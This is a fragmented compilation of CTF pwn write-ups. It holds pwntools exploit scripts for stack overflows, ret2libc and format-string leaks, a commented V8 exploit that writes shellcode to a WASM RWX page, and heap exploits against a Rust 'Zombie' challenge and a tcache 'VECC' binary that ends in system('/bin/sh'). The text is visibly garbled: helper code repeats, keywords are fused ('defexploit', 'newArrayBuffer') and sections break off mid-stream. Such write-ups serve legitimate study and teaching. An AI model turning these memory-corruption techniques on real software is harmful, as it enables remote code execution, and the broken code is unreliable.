r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True) ru = lambda x : io.recvuntil(x, drop = True) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
#--------------------------exploit-------------------------- defexploit(): li('exploit...') p = b'A' * 0x30 p += p64(0) p += p64(elf.sym['get_shell']) sl(p)
deffinish(): ia() c()
#--------------------------main----------------------------- if __name__ == '__main__':
puts("Where would you like to return to?"); return gets(&v1); }
This vuln is a common stack overflow vuln, but no backdoor function we can use. we should leak libc base address before program end, then use ret2libc methond to call system function to get shell.
r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True) ru = lambda x : io.recvuntil(x, drop = True) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
This program is a echo server, to print what you input. It’s easy to find a vulnerability in this program.It is format vul. we need use this vulnerability to leak main function return address in stack and leak libc base address. Use libc database to search libc version by countent of leak then to download it. a one_gadget tool is very useful tool for searching one gadget in libc. In order to get shell we should modify main ret address in stack as one gadget
r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True) ru = lambda x : io.recvuntil(x, drop = True) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
Same as before, there is a stack overflow vulnerability in this program. but this program has a protection in sandbox function. It is a seccomp rule to forbid some syscall. The sandbox function content as follows:
but this program I can’t use seccomp tool to dump the rule. so it has a bad syscall when I use orw method to exploit this program, this rule cannot use open function to open file, must use syscall with specific value in regisger to realize open function, or it will call open syscall failed! That’s a place easily to make a mistake.
you must create a open function syscall by yourself, or while calling open function in libc will be a bad syscall.
r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True) ru = lambda x : io.recvuntil(x, drop = True) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
#--------------------------exploit-------------------------- defexploit(): li('exploit...') pop_rdi = 0x04019db ret = 0x0401016 bss = 0x404000 + 0x100 p = b'A' * 0x30 p += p64(0) p += p64(pop_rdi) p += p64(elf.got['puts']) p += p64(elf.plt['puts']) p += p64(0x4011DA)
/* This challenge is meant to be extremely hard. The way this exploit goes is * essentially as follows: * * Step 1: Read the patch.diff file to figure out the vulnerability * * Step 2: Use the vulnerability to get a corrupted float array. You can use * this array to overwrite its own length to a very large number * * Step 3: Once you've done this, exploitation becomes (relatively) easy. There * are loads of blog posts and other V8 exploits that you can use as * a starting point. I'll list some below. The only issue will be that * V8 somewhat recently started shipping with pointer compression, and * most blog posts / exploits will be made for challenges / vulns from * V8 versions without pointer compression. * * https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/ * https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/ * https://tcode2k16.github.io/blog/posts/2020-03-15-confidence-ctf/#chromatic-aberration * https://blog.hexrabbit.io/2020/03/16/chromatic-aberration-writeup/ (use google translate) * https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/ (very old) * * If you still have questions regarding this challenge, feel free to DM me * anywhere. I'll do my best to respond to queries! * * Discord: Faith#2563 * Twitter: @farazsth98 */
// Helper functions setup to convert between doubles and numbers when needed var buf = newArrayBuffer(8); var f64_buf = newFloat64Array(buf); var u32_buf = newUint32Array(buf);
functionftoi(val) { // typeof(val) == float f64_buf[0] = val; returnBigInt(u32_buf[0]) + (BigInt(u32_buf[1]) << 32n); // Watch for little endianness }
// We set up a web assembly page. This is mapped as an RWX page that we will // later write shellcode into. var wasm_code = newUint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasm_mod = newWebAssembly.Module(wasm_code); var wasm_instance = newWebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main;
console.log("[+] WebAssembly RWX page setup!");
// Next, set up three arrays. These will be allocated one after another because // of the deterministic nature of the V8 heap. We corrupt the float array. // You can find their offsets relative to each other using GDB. // // While we do this, we also trigger the vulnerability to get a corrupted // float array in `float_arr` var float_arr = [1.1]; float_arr = float_arr.slice(0); // Trigger the vuln var addrof_arr = [{}, {}]; // Used for the addrof primitive later var arb_read_arr = [1.1]; // Used for the arbitrary read primitive later
// We set up an ArrayBuffer and a DataView. We will use these later to write // our shellcode into the RWX page. var buf = newArrayBuffer(0x100); var dataview = newDataView(buf);
console.log("[+] Corrupting float_arr's length to 2048");
// We need to store the current `elements` ptr before we corrupt the length // because corrupting the length also requires us to corrupt the `elements` ptr // in the process var float_arr_elem = ftoi(float_arr[2]) & 0xffffffffn;
// Corrupt the length and keep the `elements` ptr intact float_arr[2] = itof((0x1000n << 32n) + float_arr_elem);
// Setup addrof primitive // Bottom 32 bits of float_arr[4] corresponds to addrof_arr[0] // We simply set addrof_arr[0] to the object whose address we want to leak // Then we read from float_arr[4] functionaddrof(obj) { addrof_arr[0] = obj; returnftoi(float_arr[4]) & 0xffffffffn; }
console.log("[+] Addrof primitive has been setup");
// Setup an arbitrary read primitive for the V8 compressed heap // We do this by overwriting the elements pointer of our arb_read_arr to a // chosen address - 8 (making sure to keep the length set to 0x1000). We // subtract 8 because for any float array, arr[0] == (*elements_ptr + 8). // The elements pointer of arb_read_arr is at float_arr[17], offset found // through GDB. // addr must be a 32-bit value here functioncompressed_arb_read(addr) { float_arr[17] = itof((0x1000n << 32n) + addr - 8n); returnftoi(arb_read_arr[0]); }
console.log("[+] Arbitrary read primitive for the compressed heap has been setup");
// Setup a function that writes our shellcode to a given address // We do this by overwriting the backing store address of the ArrayBuffer we // previously allocated to our chosen address. We then use the DataView that we // also allocated to write our shellcode to that address space. // // Using GDB, we find that the backing store address of our ArrayBuffer is // misaligned at float_arr[20] and float_arr[21]. The misalignment is as // follows: // // * The upper 32-bits of float_arr[20] correspond to the lower 32 bits of // the backing store address // * The lower 32-bits of float_arr[21] correspond to the upper 32 bits of // the backing store address // // If this is confusing to you, that's because it is very confusing :p I would // suggest looking at this in GDB and comparing whatever I mentioned above to // what you see in GDB until it makes sense // // addr must be a 64-bit value here functioncopy_shellcode(addr, shellcode) { // The backing store address of buf is not aligned to 64 bytes, so we have // to write the upper 32-bits and the lower 32-bits of our address to two // separate indices like this float_arr[20] = itof((addr & 0xffffffffn) << 32n); float_arr[21] = itof((addr & 0xffffffff00000000n) >> 32n);
for (let i = 0; i < shellcode.length; i++) { dataview.setUint32(4*i, shellcode[i], true); } }
// Now, we leak the address of our RWX page // Using GDB, we know this address is at *(&wasm_instance + 0x68) var rwx_page_addr = compressed_arb_read(addrof(wasm_instance) + 0x68n);
// Finally, we copy our shellcode to the RWX page and call the WASM function to // execute it. console.log("[+] Copying ./flagprinter shellcode to RWX page"); copy_shellcode(rwx_page_addr, shellcode);
console.log("[+] Printing flag!"); f();
6 [Zombie]
This is a medium heap exploit which involves exploiting a soundness hole in the rust type system. Everything is already set up for you, so you don’t have to think too hard about the actual soundness hole though.
The idea here is that you first create a dangling reference to a freed block of memory on the heap. This is done through the infect command, which calls the zombie function with a user provided parameter.
This is a long standing hole in rust’s (normally memory safe) type system which allows one to convert a reference lifetime to the static lifetime and therefore bypass rust’s borrow checker: convert &'a T to &'static T and a big no-no for memory safety.
I have modified this to work with a mutable pointer so now there is a dangling reference which can be used to both read from, and write to the freed block of memory.
Usually this could be done easily using rust’s unsafe keyword, but I decided to make this challenge extra baffling in exchange for source code access.
The Challenge
The idea behind this challenge is that we have a shell with various commands, one of which is the “get flag” command, however that command is hardcoded to be ignored and a new command read in.
after the command is finished executing there is another check to see if the command was “get flag”, and if it was the flag is printed out.
1 2 3 4
if line.as_str().trim() == "get flag" { letflag = read_to_string("flag.txt").unwrap(); println!("Here's the flag: {}", &flag); }
So we need to change the command while it is still inside the buffer during the execution of one of our commands.
We also have other commands, “eat brains” and “inspect brains” which allow us to read from and write to our dangling reference returned from the infect function.
The final piece of the puzzle is understanding how the String struct works in rust. It contains a pointer to the heap, and will reallocate to grow when all the heap space for its buffer is used up. In this case we are reading stdin line by line, so if a line is longer than any have previously been, it is possible to force the String struct in the line variable to reallocate to a buffer that we have previously freed.
The Exploit
First our normal setup:
1 2 3
from pwn import *
p = remote("localhost", 1337)
Now our first step is to create our dangling pointer:
1 2
p.sendline("infect") p.sendline("32")
This will create a pointer to a 32 byte piece of freed memory and then store that in the infected variable in main.
1
p.sendline("eat brains ")
Since the .trim() is called on each line before it is compared against the instructions, the trailing whitespace in this command will be ignored and the command recognised as “eat brains”.
The purpose of the trailing whitespace here is to force the line containing this command to allocate a 32 byte buffer to store the command. This will take the buffer we have previously freed and have a dangling reference to back out of the freed bins and use it as part of the string buffer.
Now we have also entered the “eat brains” function at the same time, so we are able to modify the buffer that now contains the “eat brains “ string.
The final piece of this puzzle is understanding how strings work in rust. Unlike in C, rust strings are not null terminated, instead the length of the string is stored alongside the pointer to the string and therefore in this case we do not have control over the length of the string.
If we simply replaced the first few bytes of the command buffer with the command we wanted and a null terminator we would end up with: “get flag\x00s “
When this is .trim()ed the result would be “get flag\x00s” which would not match the required string “get flag”. Instead we overwrite a few more bytes of the command with the space character:
1 2 3 4 5 6 7 8 9
defbrains(string): counter = 0 for c in string: p.sendline(str(counter)) p.sendline(str(ord(c))) counter += 1 p.sendline("done")
brains("get flag ")
Note the additional spaces at the end of the command, this will overwrite the “ns” in “brains” and cause the .trim() method to trim the command down to “get flag”, which then prints the flag.
7-VECC
This is a hard heap exploitation challenge.
The idea is to first obtain a read/write primitive on the heap, then progressively leak data until you know the location of libc, then overwrite the __realloc_hook to call system(/bin/sh).
1 - Identifying the vulnerability
The first thing to note when inspecting the binary logic is that bounds are being checked correctly so we have no buffer overflows or heap corruption, and there are no obvious double-frees or use-after-frees, however there is the glaring vulnerability that allocations are never zeroed and we must leverage this and only this to get a shell.
2 - The essence of the vulnerability
For this exploit all you need is the tcache. There are the veccs - which are simillar to c++’s std::vector or rust’s Vec. This is a small struct with a pointer (to a buffer), a length (of the used portion of the buffer), and a capacity (the maximum buffer length before reallocation is necessary). When a vecc is first created all fields should be NULLed to signal that a new buffer must be allocated upon first usage.
The key here is to notice that since allocations are not zeroed it is possible to groom the stack, then allocate a vecc from a tcache chunk without erasing the data on it.
This means that your allocated struct will leave the pointer as the fd pointer of the chunk from the tcache, as well as leaving the length and capacity unchanged from when the chunk was freed.
Furthermore since we have some control over the stack, it is possible to force this chunk fd pointer to point to another vecc struct as if it was the buffer of our new allocation.
1 2 3 4 5 6
A B +-----------+ +-----------+ +-----------+ | buf +----------> | buf +----------> | actual | +-----+-----+ +-----+-----+ | buffer | | len | cap | | len | cap | | | +-----+-----+ +-----+-----+ +-----------+
Once we have the above structure we are free to use A to overwrite all 3 fields of B as if it was a regular byte buffer, then use B to read or write data at will.
This is made a little more difficult in that we do not have arbitrary write on the buffer of any of our veccs, instead we only have the ability to clear and append to the buffers.
The clear operation simply zeroes the len field of the struct and does nothing else.
The append operation is a little more complicated, it:
Allocates a temporary buffer of user defined size n
Reads n bytes into the temporary buffer
Checks whether len + n > cap - this would overflow the buffer
If necessary reallocates the vecc’s buffer to the next power of 2 size that would fit the existing buffer and the n new bytes while copying the data across, cap it also updated
Append the user data from the temporary buffer to the vecc’s buffer now that we’re sure we can not overflow it
Free the temporary buffer
Update the len to reflect the size of the new used portion of the buffer
The end result is that a temp buffer is allocated and freed, and the vecc’s buffer is possibly reallocated to fit the required size, then the user data is appended to the vecc’s existing data.
Once we have our crafted heap structure we can use a clear, followed by an append to overwrite the entire vecc struct at will.
3 - The exploit
For this exploit we first do some housekeeping since we have a shell
# p = remote("localhost", 1337) p = process("../publish/vecc")
This simply reflects all of the shell commands we might need to use. Now lets get to grooming the heap for our primitive.
1 2
create_vecc(0) append_vecc(0, b"A" * 0x10)
We first create a vecc struct then append bytes to it.
It is important to write 0x10 bytes to this buffer since our aim is to have this buffer later interpreted as a vecc struct. For this to work we must make sure that it will be placed in the same tcache bin as a vecc struct would and therefore we should match the size of the vecc struct.
Note that this will also allocate and free a temporary buffer of size 0x10 while user data is read in, we now have 1 chunk in the tcache.
1
destroy_vecc(0)
After this line first the vecc’s buffer will be freed, then the vecc will be NULLed and freed.
Since 1 has capacity 0 any write will resule in a reallocation, so we don’t touch 1 from now on, but now with 2 and 3 we have the same structure as in the original diagram - we are able to use 2 to overwrite the entire of 3, then utilise 3 for arbitrary read / write.
Now we know we have PIE disabled, therefore we are able to leak libc addresses from the GOT.
Finally, we overwrite the buffer pointer of one of our vecc structures with a pointer to “/bin/sh” from within libc, then trigger a reallocation by appending a single extra byte, giving us a shell.